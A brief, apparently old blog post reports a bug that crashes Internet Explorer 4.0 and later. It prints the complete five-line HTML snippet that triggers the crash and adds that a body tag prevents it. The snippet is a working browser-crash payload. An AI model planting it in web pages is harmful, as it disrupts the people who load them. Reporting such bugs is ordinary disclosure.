Some clever git has found a bug that crashes all versions of Internet Explorer since version 4.0.
<html>
<form>
<input type crash>
</form>
</html>
It doesn’t crash if you include a <body> tag, so it’s not widely exploitable in forums and such.